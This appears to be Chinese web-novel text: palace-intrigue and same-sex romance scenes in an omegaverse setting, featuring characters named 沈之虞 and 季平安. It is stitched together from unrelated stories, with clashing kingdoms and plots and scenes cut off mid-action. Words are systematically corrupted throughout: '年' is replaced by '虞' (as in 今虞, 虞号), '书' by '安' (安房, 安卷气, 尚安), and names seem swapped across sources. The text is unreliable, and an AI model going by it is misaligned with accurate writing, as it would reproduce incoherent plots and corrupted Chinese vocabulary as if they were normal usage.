内官们面面相觑一阵,一个胆大些的开口说:“这奴才们一直守在外间,还真不知道,不过皇上是带着奏疏来的。” 沈之虞转身而去,淡淡撂下一句:“那便是安房。” 安房熏着芸香,被炭火烘烤得极暖。见沈之虞打伞过来,门口立着的内官连忙揭开软帘。 沈之虞顿了一下,拍拍侍子的手,解了斗篷,独身迈进屋中。 安房内靠南面墙是一架紫檀木安柜,前头摆着黄花梨大方桌。皇上就坐在桌前,好整以暇地提着朱笔圈圈画画,桌上的奏疏摆了约有半人高。 “阿虞来了。”她头也不抬地问,笔下朱批未停。 沈之虞没接这话,静静看了一阵皇上干活。 皇上毫无霸占别人安房的自觉,除了最开头的一句慰问,其余时间跟当沈之虞不存在似的,半天没抬头看她一眼,奏折批着批着甚至还哼起了昆曲儿。 沈之虞: 沈之虞转身想走,终究是忍住了。她清泠泠在屋子正中站着,拂了一下衣袖,淡声说: “沈初,你坐这儿了,我没位置坐。” 皇上这才舍得从安海里抬起头,在屋内环顾一圈,讶异道:“还真是,你这屋子居然只有一把椅子。” 她遂看了看自己屁股下的那张与桌台配套的梨花木蛇头椅,撑着扶手站起身,往旁边一让:“那阿虞坐,我站着就好。” 沈之虞: 沈之虞淡淡盯着她,不吭声,片刻后提足朝桌台旁走去,竟毫不客气地在蛇头椅上坐下来。 沈初冲着她甜甜地笑,须臾,施施然从旁边递来朱笔。 沈之虞: “沈初。”沈之虞长叹一口气,揉了揉眉心,问,“你这皇位还坐不坐?” 沈初摇摇头,原地转了小半圈,走至沈之虞身后站定,忽然微微倾身,长发扫过椅背上雕着的蛇头。 属于沈初的气息铺天盖地地笼罩下来。沈之虞听见身后人低低地说:“阿虞,我说过,你若是想称帝,我随时将这皇位拱手相让。你看,我在你面前从不以‘朕’自称。” 朱笔在那人手上转了三圈,仍旧安安稳稳停在指尖,蓄势待发。 沈之虞垂下脑袋,没接那朱笔,抬手将奏疏合上:“你若不想做皇上便让位给老二,你当个逍遥的太上皇。” 季平安施施然从木盆里起身,水花随之溅落在地板上。有一片花瓣猝不及防地甩了出来,被她赤足轻轻踩过去。 扯过腰带,她三五下将这姑娘捆了个结实,而后自顾自穿上里衣与外衫。她最后睨了一眼瘫坐在地上的侍子,叫进守在外间的、自己的亲信: “审一下这人,看紧点。她齿间有毒,你们搜出来后再给她下巴安回去,别让她死了。” 外间有些乱,侍子们都诚惶诚恐地在园内跪成一团——同一批进府的,当中出了内鬼,她们自然也难辞其咎。 季平安却觉得很没意思。她懒洋洋抱着胳膊站了会儿,抬手示意她们起来,只道:“无关紧要,切莫走漏风声。” 这一批侍子都是皇上赏的,倘或闹起来岂非和皇上做对么? 外人更是看了一出“君臣不合”的好戏,隐于暗处的罪魁祸首挑拨离间完却尽可全身而退。 离开京都八年,她早忘了尔虞我诈式的殚精竭虑是什么滋味。 也或许不是忘了,而是曾经远离漩涡,于是从未体验过。 雪还在不知疲倦地下,屋顶上积了厚厚一层,小池塘上结着很薄的冰,上头停了四五只不怕冻的麻雀。 季平安忽然就觉得,这间院落有些令她喘不过气。 她提着步子慢悠悠穿过游廊,走到一座架子前。 架子应是为挂葡萄藤而搁那儿的,只是此时此刻气候不济。竹竿错落而空荡,只积着皑皑白雪。 自己曾经的旧宅里也有这么一座葡萄架,是何娘亲自砍竹子搭的。夏日酷暑,一家人便在茂密而清甜的葡萄藤下松快地乘凉。 何娘恰从厢房里探出脑袋。 “可洗完了?”她问。 季平安朗声道:“洗完了。娘歇着罢,我去季宅瞅一眼。季娘呢?” “方才宫内急急忙忙派人来,将她接去了,想是皇上有要事相商。”何娘笑道,“如今升了尚安,自然是这儿忙那儿忙的。不说她了,倒是你,好端端的去旧宅作甚,可是这将军府住不惯?” “非也,皇上赏的,自然样样是好的。”季平安摇摇头,“我随意瞅瞅罢了。晚饭不在家吃,娘别张罗。” 松松散散的雪又下起来了,季平安略为宽厚的肩上停了几瓣晶莹的雪花。 随从递上大氅,季平安利落披上,驾马出了门。 而直到真出了门,她忽然又觉得无处可去。 上下左右的视线热切地盯着她看,各处都飘来“问小季大人安”,季平安回以微笑的同时,咬着牙关问随从:“我八年没回京,为何都认识我?” 随从在马上笑得花枝乱颤:“您的画像在京都都传遍了。小季大人,您可知为何?” “为何?” “倒是有两个缘故。一来您平战乱,是南安国大功臣,百姓们爱戴您,自然许多人将您的画像买回去,贴在房内为您祝祷。二则您年纪轻轻又已是将军,前途无量。您可不知道,多少京城贵子眼巴巴盯着将军夫人的位置,四处打听您的喜好” 话还没说完,季平安便咳了一声:“我已知晓,切莫再言。” 随从笑得险些停不下来,被季平安一记眼刀止住了。她清清嗓子,还想揶揄:“所以小季大人您可看上的?若有心上人,明儿入宫请皇上赐婚,一准成。” “无。”季平安摇摇头,睨她一眼,“你若再开此等玩笑,我便将你扔进泥沼喂猪。” 随从脑子里乍然蹦出一句话: 怪不得大家都说,小季大人是极为难得的、有安卷气的武将。 安卷气并不是指外形——季平安在军营呆了十年,早练得胸背宽厚,能将几十公斤的长枪刷出花,能单手将人提起来,而后抡圆膀子甩出去。 大约是指说话的腔调——刨开打仗时,日常生活中很少扯着嗓子五大三粗地喊,撂狠话的时候也只是这样四平八稳,声音清朗却掷地有声。 甚至有时候唇角还勾着。 但她如此行事,似乎反而比高声吼叫更有威慑力,具体表现为,一旦露出这样似笑非笑的表情,旁人便不敢再忤逆了。 随从缩了缩脖子,转了话音:“大人您若不喜人多,属下倒知道有个好去处。” “嗯?” “城郊有一大片林,您可在那儿跑马,逍遥逍遥。” 季平安“哦”了一声:“你是觉得我嫌在沙场上跑马跑得还不够?” 随从耸耸肩,道:“那可再没地儿去了。如若不然,您蒙个面?” 季平安叹了口气,任命地接过随从递来的口巾,行至小巷无人处的转角,把下半张脸围上了。 季平安前些天见过营帐,条件自然比不上宫里的玉枕温床,但也不会到不了不能睡人的程度。 季平安:“大姐觉得不舒服,可以在上面垫些软的毯子。” 她这次出门的时候,还特地带了两张厚的毯子。 “我府里的人带了不少”,沈熙问她:“要不要送你一张……” 话还没有说完,她的话一转:“差点忘了,你和七妹住一个营帐,怎么也不会少了毯子。” 季平安:“……” 但是不得不说,她也是现在才想到这回事。 外人面前,接下来五日,她都要和沈之虞住在同一张营帐里面。【你现在阅读的是 】 80-90 第 81 章 第 81 章 季平安下意识看了沈之虞一眼。 对方仍旧是往常般清冷疏离的模样,看起来大公主的话并没有让她有什么波澜。 想来也是,她们两个人现在连标记这般亲密的事情都做过了,睡在一张床上,似乎也算不了什么很过分的事情。 更不用说,之前的她们,睡在同张床上也不止一次了。 只要自己心知肚明,不会发生什么关系就好。 沈之虞自上而下,静静看着眼前少女,小巧的手腕,捏着绷带一圈圈给她裹着,乌发披散在后背,随着她的动作一点点左右摇摆,有些碎发黏在衣服上,随着勾勒出的完美腰身而静止不动。 她心头一动,忽然一扯手将身边半蹲着的人揽进怀中,季平安正在包扎,被这突如其来的一个使劲,弄得身子前倾,跌进她的怀抱。 “做什么?” 沈之虞用没有受伤的手有一下没一下的轻触她的头顶,淡淡发膏香味飘出,她凑近将一缕发挽起送入鼻尖,轻嗅。 季平安趴在她腿上,浑身僵硬,沈之虞在干嘛? 她是不是有什么大病。 季平安内心哀叹,她还包不包扎了? 她脚都要麻了。 “那个” 季平安出声提醒,沈之虞似是未闻。 良久,她剥开季平安左耳碎发,那抹秾丽的猩红果不其然在绽放。 昭国储君一直以来都是能力超强的乾娘,而她自出身起,就被占星师卜卦,是昭国唯一强大的顶级前娘,所以那次与月国和亲,沈悦才会被选中。 可她这辈子,终究将与帝位无缘。 想到皇位上的人,沈之虞心中柔软三分,看着眼前那张稚嫩小脸,这具身体与她的契合度高的惊人。 临时标记两次,这番查看,那腺体处的信素汹涌澎湃,能轻易调动她的情绪,感染着她,诱惑着她。 喉间不着痕迹的上下翻涌,那枚心形胎记逐渐散发紫罗兰的芬芳。 在季平安疑惑纯真的眼神中,她勾起对方脖子一揽,毫不犹豫的俯身在她左耳一寸处舔舐了下。 像电流漫过全身,季平安身子都软了半截,沈之虞真她么有病,好痒。 她抬头,对方已经松开对她的桎梏,眼底浓郁,有她不懂的情绪飘过,却不妨碍惹她一身惊艳。 “季侍读,凉风伤体,要注意。” 沈之虞起身眼中已清明无比,手上缠着季平安包扎的歪歪扭扭的结,虚挑了下眉头。 转身时,唇角上扬。 季平安望着她背影,真来去匆匆。 方才她怎么忘了问,侍读要做哪些事? 陪着沈之虞看书编纂文学? 算了,明日事,明日说。 这么一折腾她倒是没了困意。 就是这肚子开始“咕咕”叫。 “小桃” 不管了,她要去觅食搞点吃的,还没正式报告上岗,还有时间摸鱼打发玩一玩。 皇宫内。 帝王寝宫灯火通明,正殿前方是一道水墙,上面砌着高低起伏的波浪条纹,水流顺着条纹蜿蜒而下,最后汇聚一方圆池内,池子四周铺着鹅卵石,加以花草点缀。 宫廷调香师一早便将安神用的香料制好,宫女们夹着线香放入麒麟兽嘴香炉内,大殿中一片氤氲祥和。 梳妆台前,花伶将沈悦身上的帝王服饰褪下,转而给她拿了一件春色碧水百鸟朝凤金纱罗衫,头上金饰悉数褪下,绾了一天的长发松松落落垂着,似锦缎般顺滑。 铜镜里,沈悦卸了妆,脸色苍白略显疲态。 “陛下为国忙碌,要顾全身体。” 每日每夜的批阅奏折,身体愈发柔弱。 “大昭需要你。” “你就别安慰我了,这个残躯不过是苟活。” 沈悦没了朝堂上的帝王之姿,转而带了三分女子的缱绻愁态,她看着镜子里病态的容沈,每天都要花大把的时间来化妆,还要花费大量的人力物力来调理自己身体。 看似年轻的身子,太卜令早年就预测,内在已进隆冬,油尽灯枯也就这几年。 “您是天子,龙气护佑,会万古长青。” 花伶一边给她梳头一边轻声安慰。 “花伶,这里没人,我就直说,这帝位原本并不是我该坐的。” 昭国的守护者到她们这一代,也是有命中注定的候选人。 “姐姐只是舍了她的前途,成全了我,其实,我未必有她做得好。” 沈悦眉眼间都是倦色,沈之虞才是大昭太卜令口中的真龙天子。 她们是双生姐妹,可惜,一前一后出来,结局也天差地别。 她天生病弱,一般补药根本无济于事,太卜令断言,她活不过十岁。 可她有个好姐姐,硬是将她命格延续至今,可,也只是苟延残喘。 “长公主能力卓越,又与您感情甚笃,她一定有办法延续您继续守卫大昭。” 花伶将她唇脂卸尽。 “龙气这东西谁说得准呢,也许不是真龙,就无法拥有,即便坐在这个位置也是耗费时间。” “谁说的?”“我知道,该如何跟你们这些人谈筹码。” 沈之虞看着匕首利刃口,毫不在意的吹了下,继而啧了两声:“死士也有感情吗?” 她眼底闪过讥讽:“跟搭档产生羁绊,这可是做死士的大忌。” 果然,那女子顿了下,呼吸跟着一滞,被捆紧的双手不着痕迹的握成拳状。 “你只要说出本宫想要的,她的命,我可以考虑。” 女子眼中复杂,似在权衡。 沈之虞也不着急,找到一个人的弱点,她就可以无限放大,这人不惜自己的命,可她却很难不惜在乎的人命。 况且 “那日你被掳,不也是为了掩护她?” 女子不见当初的傲然,这些话字字扎心,半晌她抬头“我要见她,确保她安全。” 不然她什么也不会说。 沈之虞拿着刀尖的手转而调了方向,声音如水,“这个,你应该认识。” 那是跟着她从不离身的武器。 女子喃喃低语,听不清她在说什么,眼中只有难得的泪在隐隐闪动。 沈之虞道:“我看她受伤不浅,在不医治恐落一身残废。” 习武之人最怕落残,那比死还要难受。 女子牙关紧了松,松了紧。 最终,她对着沈之虞暗暗低语几句。 沈之虞后退,走到刑具旁,那里横着一把绝世宝剑,她缓缓抽出,剑芒灿烂,精妙而绚丽,一道弧线弯过。 房门被推开。 一道清冷的声音自身后响起,二人皆一惊,花伶看清来人,上前行礼,沈之虞摆手,接过她手里的梳子。 花伶看了眼二人,体贴的退下。 屋内,除了烟香袅袅,一时间大家都陷入无言。 “不是跟你说过,不要胡思乱想,对身体无益。” 沈之虞站着她坐着,身高之差使得她以一种轻微的俯瞰之姿凝视她。 沈悦知她淡淡语气下的不悦,像是做错了事的孩子,翦水秋瞳中带着不易察觉的迎合放底姿态,软着嗓子:“我只是随便说说,每次坐在这位置上,总会不由感慨。” 她原先也并不感兴趣皇位。 任能力,她并不认为自己比眼前人高。 “是谁说了什么?” 沈之虞忽然蹙眉,看着她像是思索,朝堂上如今还有谁敢置喙? 她的部下早已被她训斥过,她甘心做臣辅佐她,沈悦却有心理压力,觉得对不住她。 “无人敢说,现在你我在这个位置,还有谁敢明面上挑衅?” 她身体不好的传闻,凡事当时知晓内情的早就被肃清干净。 “不要多想。” 沈悦走过去,一只手搭在她手面上,沈之虞眼神柔和下来,声音也跟着缓和不少:“你只需调养好身体,其他事交给我。” 沈悦点点头。 双生姐妹总会有情感共鸣之处,从小到大她们携手一起成长的羁绊,并不会随着如今身份的转换而有所改变。 “姐姐,你给我画个花钿吧。” 沈悦拿起梳妆台上的画笔,每天都穿帝王服饰,那些小女儿家的情趣早就抛却一边,无人时,她总会想要穿一穿平常的服饰,画一些登基前的红妆。 沈之虞心中一动,点头,面上挂了笑。 从镜子看,沈之虞站在她身后,像大树般坚实可靠,一路替她遮风挡雨,她若想穿红妆也一定是想穿给眼前人看。 沈之虞食指捏着她的肩,瘦削的骨骼,不久前那双有着古灵精怪双眸的少女撞在她身,她也同样感受到对方细瘦的身躯。 她拿笔沾了粉黛,在沈悦额前轻轻描画。 沈悦从镜子里对她笑,眉眼间都是愉悦。 沈之虞不由心中放松,同她对视,回以一笑。 炉中暖香在点点滴滴的燃烧,黄花梨木桌后方,八扇紫檀珊瑚屏风从屏体内映着两人恍若一体的身姿,一高一矮,无言处胜万声。 长公主府。“还在做兔子糕点?” 沈之虞皱眉,这丫头怎么那么爱这款零食。 “我那是想做给你吃。” 季平安手上全是沾的面粉,她用碎米机将大米给碾碎,加了水和成糊糊,现在又调了一坨黄色的水放进去,闻着一股酸甜味。 “这是橘子汁。”季平安看她一眼,脸上都是兴奋,“我想着兔子总不能都是白色的,也有黄毛兔子。” 季平安说着将橘子汁倒在米粉中,霎时间整盆都是橘子味,沈之虞有些嫌弃的后退一步:“这,能吃?” 大米跟橘子上锅蒸,能好吃吗? 反正她府上的厨子是没做过,季平安真是爱瞎倒腾。 沈之虞看她忙忙碌碌,不亦乐乎,没在打扰。 季平安道:“你在一旁坐着,等我蒸好了端给你。” 沈之虞心中一软,季平安嘴巴挺甜。 自从义庄回来,她对自己就无比殷勤。 沈之虞心中却不反感,看着那双柔嫩的手,以前在丞相府里一定是衣来伸手饭来张口,现在却为她下厨房博她开心。 沈之虞心中奇怪的感觉袭来,一阵躁动从心底流过。 竟站在她身后不远处,静静观摩起来。 季平安见她不走真的在看,心中也是一阵甜。 什么时候开始,来到这里,这个人就占据了她的心,以前工作那么多年,从未知道她其实喜欢的是女人。 难怪单身那么多年,竟是这样么? 好奇怪的感觉,季平安将米糕用勺子舀出一块,然后用手窝成一个椭圆,做兔子的身体,现在开始捏四只脚,这玩意看着简单,实在是考验人的耐性。 她低头看着面盆,想着身后沈之虞目光在追随她,她心中就跟捣鼓似的,“噗通,噗通”跳个不停,小脸也跟着热乎乎,冷不丁一抬眼,对上前方那双狭凤眼,季平安握着的面团险些掉下去。 沈之虞见她脸上红彤彤,看着四周,厨房都是通风的,季平安到底是没干过重活,这才多久就热的上了头。 沈之虞拿着帕子走过去,格外施恩似的:“擦擦。” 季平安眼珠子一眨,有些可怜:“其实,我现在手很脏。” 手上都是面。她心里想的却是如果沈之虞能给她擦擦就完美了 沈之虞道:“那你洗完自己擦。”作势要收回手帕。 季平安小脸一垮,立刻一把抓住她缩回的手:“别呀。” 这一抓不得了,她手上的面团全都粘在沈之虞衣袖上,华丽丽的袍服上全是面团,沈之虞眉头一拧,瞪着她。 季平安心道,遭了,沈之虞在书中极为讲究,特爱干净,每天衣服能换十八套。 这下踹马脚上去了。 季平安立刻哭丧着脸:“我给你做饭,你不理应给我擦脸吗?” “我看画本上都这么写的,你还躲?” 说着眼圈泛红,她自从意识到自己喜欢眼前人后就费心费力想与她交好,结果,沈之虞对她半点不上心。 这怎么不叫她伤心? 沈之虞没想到季平安还会这招,遂站那儿保持一个姿势不动:“你都看的什么话本?” “也就是《醋葫芦》《隔影添香》之类的,两个人其乐融融,欢快似水里的鱼,天上地下遨游赛神仙。” 沈之虞见她说的有模有样,点头道:“平日里点子都用这上了,难怪。” 她手里粘着锦帕,在她红红的小眼上轻轻拭了把,明知她故意红给自己看,也不拆穿。 “再不上锅,本宫估计就吃不上了。” 那兔子糕点捏在那里长时间不蒸,有些松散。 季平安立刻甜甜一笑,开始将糕点一个个送蒸盘上。 沈之虞忽然看她瞬间忙碌快活的身影,也跟着心绪开阔起来。 有一个人可以让你沉寂很久的心突然鲜活起来,这感觉很新鲜,很有趣。 她好像也不讨厌季平安在她面前不停晃悠。 当糕点做完,沈之虞看着黄歪歪的一锅,又看看嘴角耷拉的季平安。 她就知道,厨技这个东西,非一日可练成。 她还是拿了一个放嘴里咬了口,季平安满是期待的目光下,沈之虞觉得撒谎是件很难的事。 “还不错。” 季平安一手拿着鸡腿一手啃着鸭翅,嘴巴要忙不过来,沈之虞不在,她也不晓得公主府要弄什么吃食。 拉着小桃悄悄溜出门,集市上各种美味小吃被她包揽了一半。 “外面的饭就是比家里的味道好。” 以前做社畜,自己做饭总是清汤寡水,外卖吃到飞起,且身材毫不走型,是以嘴养刁了,动不动就想往外面跑。 “其实,沈之虞府里的伙食一定比这个好,毕竟是编制内的工作,伙食费都是政府拨款,有保障 。” “小姐,你在说什么呀,我听不懂。” 小桃嘴里嚼着炸丸子,她家小姐这几天说话越来越奇怪。 什么编制政府,没听过。 “害,就是给皇家卖命,然后上头让你吃皇粮续命。” 看着小桃懵懵懂懂,季平安像是想到了什么,忽然道:“沈之虞,是不是有喜欢的人?” 小桃更加懵:“长公主的名讳丞相都不敢直呼,至于她的事谁敢打听?” 沈之虞行事低调内敛,杀伐果决是出了名,旁人哪个敢轻易招惹她。 季平安想到梦中,沈之虞摸她耳朵时,换的那声“坤娘。” 坤娘是谁,是她白月光? 还有沈之虞搞不到的人? 季平安一边吃鸡腿一边思索,总觉得哪里隐隐不对。 里衣是当时府里来人给她做骑服的时候顺便做的,用的上好的丝绸料子。 质地柔软,穿起来很舒服,和沈之虞身上的里衣料子和款式都差不多。 季平安:“殿下,你背对着给我就好。” 浴桶里面只有水,没有其他的遮挡物,若是靠的近些肯定能看到。 沈之虞怎么会不懂她的意思:“放心,我不看。” 季平安从她的手上接过衣服,忍不住道:“殿下若是真的想看,也不是不行。” 沈之虞的脚步顿了一下。 她背对着人道:“你今晚还是睡在帐外吧。” 第 82 章 第 82 章 玩笑一时爽,睡觉火葬场。 季平安说话的时候完全没有经过大脑,等到话出口的瞬间,她内心才暗道一声不妙。 沈之虞也丝毫没有让她意外,精准地把握住了她的七寸。 季平安火速把衣服穿好,靠着端茶倒水和软磨硬泡,成功留在了营帐里面,这才没有露宿野林。 听到对方同意她留在帐内的时候,她甚至内心还闪过一个念头:沈之虞似乎还挺善良的。 当然,这个念头一出来,就被她否定了。 季平安在前院书房中,并不清楚,有一把匕首,随时都有可能扎入自己的心脏。 就算知道,她这不是正在努力的改变沈之虞的想法嘛。 至少在能保证自己不被圈禁前,要阻止沈之虞离开王府。 毕竟沈之虞的离开,是皇帝圈禁她的理由。 季平安坐在书案前,随意拿起旁边的一本书翻了翻。 她进入书房,没有胡乱查看,安远在她的身边,要是她表现的太好奇,怕是会露陷。 她接下来要做的事情,需要一个安全私密的环境。 “安远。” “殿下。” 只要她出声,安远总是能第一时间回应她,真是太靠谱了。 “去挑些适合孕妇吃的补品,给王妃送过去。” 怀孕嘛,那就要吃一些,补而不长肉的东西,不然到时候孩子大了,对孕妇不好。 安远刚要出去,她又叮嘱道:“记得拿给府医看,孕妇能不能吃。” “是。”安远高冷点头,转身离开的毫不犹豫。 季平安目送安远离开,门外还有两个侍卫,外面的奴婢有不少,但是她不吩咐,她们是不会进来的。 没有了打扰,她放下书,在书房里面转了一圈。 书房挺大的,那些书什么的,摆了满满一屋子,她在前身的记忆里面得知,书房里面还有个暗室。 暗室不大,里面放着一些重要的东西。 有母后留下的,也有老镇国公留下的,有空她要整理一下,看看有没有什么用。 书房里面的东西不少,由于前身没能担任什么重要职位,跟个闲散王上差不多,没什么价值。 当然,也不是没有收获,她脑袋里前身的记忆,更加清晰了些。 季平安重新坐到书案前,在笔筒里面挑选了一支看起来不错的毛笔。 多亏她小时候练过书法,长大了偶尔写写,对毛笔不陌生,再加上前身的记忆,包括肌肉记忆,写出来的字,跟前身有八九分的相似。 写了几个字,她觉得没什么问题,多练练应该就十分像了。 性格什么可以慢慢变,像字迹还有一些小习惯,则处处需要注意。 好在,她要在王府禁足一个月,一个月的时间,足够让她熟悉前身的记忆了。 禁足对别人不是好事,对初来乍到的她,勉强算是给了她一个适应的时间吧。 季平安为了方便写字,把宽大的袖子缠了几圈,找了条绳子绑起。 书房里面有襻膊的,可惜她不会用,又不想叫人进来,想想就将就一下吧。 她在纸上写上几个字后,正要做正事,忽然想到,写完的纸张处理不好,可能会暴露许多。 想了想,她可以一半拼音一半汉字的写,偶尔还可以用上英语,这样总没人看的懂了。 她先写下了自己名字拼音的首字母,名字简写,省的让人发现了,还以为她在谋划什么。 楚湘王府里面,各方的眼线可不少。 季平安围绕着自己展开,梳理着自己的处境。 南秦皇帝继位二十六虞,中间改虞号为神龙,今虞是神龙十一虞。 当今圣上算好的了,她祖母是改虞号狂魔,长则三五虞,短则一两虞改一次虞号,一生虞号几十个,和平时期,礼部是六部中最忙的了。 而她的母皇,现任皇帝不爱改虞号,倒是很喜欢生孩子。 二十一个皇女,十七个公主,郡主更多,最大的太女三十二岁岁,最小的不到一岁,七八十个孩子啊,是真的能生。 当皇帝二十六虞,虞虞都有孩子出生。 嫡长女就是当今太女殿下,季平安的亲姐姐——季承继。 意为承继祖业的意思,从名字就能看出来皇帝对太女的期望。 可能是皇帝生的多了,到了第三代,已成婚的皇女,除了一个八皇女,都没能生下乾元,坤泽只有那么三两个,和元倒是生了不少。 太女自幼与皇储妃相识,两人感情很好,东宫只有皇储妃一人,自今只有一坤泽。 皇帝曾让太女娶侧室,可是太女与皇储妃感情好,二人之间容不下她人,后来又自认为身体不好,还是不耽误好人家的姑娘了。 季平安剩下的那几个皇姐,也不知道怎么回事,府上娶的人不少,孩子就是少。 二皇女今虞三十一岁,有两个和元孩子,剩下的那些皇女跟她差不多。 皇家有娶妻三虞不准纳妾的规矩,不然前身婚后打算娶一堆妾室生娃了,还好有这个坤泽,否者季平安看着王府里面的女人争奇斗艳,她不得头疼死。 皇家三代清净,二代们却斗的你死我活的,二十一个皇女,除去虞纪小的,每个人都对皇位有兴趣。 目前太女还在,众人斗的不算明显。 主要分为三波,支持太女的,支持四皇女的,还有支持现任皇后之女七皇女的。 大家分成一个一个的小圈子,就算心里有什么想法,表面上还是很支持自个圈子里的老大的。 偏前身跟个傻子一样,单打独斗不说,还从不与太女亲近。 她们的娘亲都是先皇后,天生就该亲近,要是太女有个万一,作为亲妹妹,太女的人脉资源不都是她的 唉~季平安叹了一口气,算了,现在说什么都晚了,结果依然如此,她要做的,就是不重蹈覆辙。 皇室中的孩子,乾元封皇女,坤泽封公主,和元封郡主,以此辨别她们的不同。 皇女,公主,郡主,皇帝的妃子,加上皇女们的外家,朝堂上谁站位了,谁又是纯臣。 季平安理了一上午,才理了个差不多,那么多人,要一个一个的记得,真是不容易。 “来人。”她喊了一声。 安远马上进来道:“殿下。” “院里燃上一个火盆,本王马上过去。” “是。” 有些东西得烧了,哪怕她确信纸上的内容,别人就算看了也看不懂。 可万一有人拿这些东西做文章,她也得费力解释不是。 院子里火盆燃好,季平安拿起纸张走出去,随后把纸张丢进火盆里面,用手里的棍子挑动着纸张,等到所有纸都烧干净了,她才转身回书房。 她还有一件重要的事情安排。 她示意安远跟她进到书房,“交给你一件事。” 安远没有应声,等着她继续说。 “如今王妃怀孕,那些皇姐们子嗣艰难,保不准会出什么幺蛾子,王府上下,你负责给打扫干净喽,不管是什么人,你看着处理吧。” 安远眼神一动,知道殿下是觉得王府不干净,什么消息都能传递出去,想要下定决心清理一番了。 她早就提过这些,可是殿下太自信了些,让她做好本分,不要胡乱中伤。 殿下认为那些门客是自己的心腹,她这个镇国公府出来的人,只是代替老国公监视自己,不让自己给太女添麻烦。 安远越是劝说,季平安就越叛逆,乱七八糟的门客都住在王府里,不知道混进来多少心怀不轨的人,万一出了什么事情,她有负老国公所托。 安远生怕季平安反悔似的,忙单膝跪下道:“是,殿下。” “记住,不管是谁。”季平安担心安远有所顾忌,又加了一句。 “王妃那边呢?” 沈之虞那边陪嫁的人众多,里面的那些人肯定是以沈之虞为主的。 “王妃的人就不用管了,监视好就行。” 她要是管了沈之虞的人,还不知道会出现什么后果呢。 而且小说中,沈之虞三天后离开王府,那么这几天一定会跟北齐太女李昭贤的人见面。 有安远看着沈家的奴婢,发生了什么事情,她也能第一时间得知,不会太被动。 “对了,还有一件事,王妃的人进出王府必须要看清楚了。” “是。” 这样的亲卫就是好啊,只会遵守命令,不会去问为什么,她也不用给解释。 季平安满意的笑笑,随手解开袖子上的绳子,“走吧,去找王妃用午膳。” 安远:“” 刚刚她送补品过去,王妃听到是殿下送的,表情很不满呢。 正院,沈之虞看着桌子上堆成小山一样的补品,不知道季平安葫芦里面卖的什么药。 “姑娘,楚湘王变的太快了。”让人害怕。 徐嬷嬷上前一步,帮沈之虞的腿上盖上毛毯,有些忧心季平安的变化。 一个王上,想要整死在南秦毫无根基的她们,只要做的干净,不让外面出现什么口舌,就能毫无罪过的弄死她们。 偏季平安前面还恶狠狠的,一副要弄死她们的模样,今天忽然变了,无缘无故的必有所图。 沈之虞端起旁边的茶水,小抿一口,茶香在唇齿间扩散。 “跟徐大说,铺子跟钱都不重要,保证人能随时离开就行。” 徐大是徐嬷嬷的女儿,是一个和元,跟另一个管事的,帮她处理外面的事情。 她早就有了逃离的想法,一个人走容易,随着她陪嫁来南秦的数百个人,就会成为别人案板上的鱼肉。 所以她在把自己的人,一个一个安排出去,一下子走的太多,容易引起怀疑。 但她高估了季狗,走了一百多个人了,也没有引起季狗的留意。 可今天季平安的所作所为,变化太大,绝没有那么简单。 要是季平安发现了她要离开南秦,会怎样对她跟陪嫁的数百人?要先下手为强吗? 对方还没有说话,她就知道眼前的人想假设什么情况。 前面的柴火偶尔炸出些噼里啪啦的响声,却不会过分烦人,能让沈之虞清清楚楚地听到她的话。 “怎么说,我们现在也算得上朋友吧”,她看着对方的清冷漂亮的眼眸,凑近些问道:“对吧对吧对吧?” 沈之虞看了她片刻,才很浅地嗯了一声。 第 83 章 第 83 章 季平安看着她,眼眸里面都是笑意:“殿下,我可听到了。” 沈之虞淡淡道:“没听到也可以。” 在京城里面,“朋友”这个词出现的多,但更多代表的是利益交换。 利益趋于一致后,两家便能够成为“朋友”,但这自然和季平安想要的“朋友”不同。 沈之虞反应了片刻,才明白了她的意思:在她们约定的利益和信任之外,是否能够成为关系不错的朋友。 季平安从前院离开时,没注意到一个影子,在她离开时,身形快速进入书房。 那道身影离开前院后,一直往皇宫去。 季平安快步往正院去,时间不早了,她得去陪沈之虞用午膳。 虽然对方不愿意见她,但是她必须得粘着沈之虞才行。 想必一个上午过去,沈之虞该吩咐的,都吩咐的差不多了吧? 三天的时间本就不够用,季平安担心,粘的太紧,有可能会出现反效果,过犹不及。 因此,她给沈之虞处理私事的时间,剩余的时间,她继续粘着。 刚刚来正院的路上,她听安远说,沈之虞身边另一个婢女北竹出王府了。 安远派人跟着北竹,要不了多久就会有消息传来。 季平安裹紧了披风,不知道是什么毛的披风暖暖的,走在外面也感觉不到冷。 院中路上的雪都打扫干净了,落在花花草草上的雪还在,给王府独添了些许意境。 正院现在全是沈之虞的人,前身之前的那些婢女,放在外面洒扫了。 一个上午,从王上的贴身婢女,到院子里面的洒扫婢女,地位一落千丈。 这不,看到季平安踏足正院,大胆的立即冲到她的面前,扑通一声跪在她的脚下哭泣着。 “殿下,求求您让我们跟着您吧,去前院干什么都行。” 去前院?季平安低头看着这个哭的梨花带雨的姑娘,眼睛里没有什么怜悯。 这几个婢女,大多都让人收买了,留在身边也是祸害。 沈之虞把她们赶到院子里面,要她说太近了,就该放出去才是。 一般坤泽是不会为奴为婢的,要么是家中获罪才会成为奴婢,多在教坊司,很难流出。 这个世界乾元跟坤泽跟和元的比例,大概是3:1:6。 乾元还好,坤泽的数量是非常少,大部分集中在世家勋贵,很少出现在民间。 乾元都会想娶坤泽,除非是家道中落,实在是吃不起饭,性命攸关的程度,才会考虑和元。 和元与和元的结合,是需要到官府认证,由官府发放圣水生孩子,有非常小的机会,生出乾元或是坤泽,大多还是和元。 总得来说,对于勋贵世家,女媳是乾元,那是一件值得炫耀的事情,生了坤泽也是百家求亲的那种。 要是普通人家,乾元或许还好,坤泽的话,那就是怀璧其罪了,会叫那些有钱有势的人盯上, 因此,很少有坤泽成为奴婢,多是成了富贵人家的妻妾。 像前身的几个婢女,都是和元,当然了,是长相貌美,各有才艺的和元。 毕竟是皇女,跟普通勋贵是不一样的,就算是婢女,也比普通小官家的千金养的好。 几个婢女,有一个出头的,剩下几个跪成一排,跪在了季平安的面前。 她注意到,屋子里面有个身影,在观察着院子里面发生的事情,看身形应该是南灵。 她抬手把落在胸前的碎发夹起放在耳后,“安远。” “殿下。” “你带她们下去,愿意回家的,就送她们回家,不愿回家的,给她们找个好亲事,或是在外面给她们找个活计。” 王府除了她的亲卫队,还有私兵,一千二百人的私兵守卫着王府,门客管事的那么多,相亲找对象是够了的。 这几个婢女的背后有人,要不然配个队正够了。 但她们的背后有人,只能找一些与王府无关,或是没实权的管事家里了。 “殿下,我不愿嫁。” “不愿嫁就回家。”清晨,季平安站在屋檐下,听着淅淅沥沥的雨声,裹紧了身上的披风。 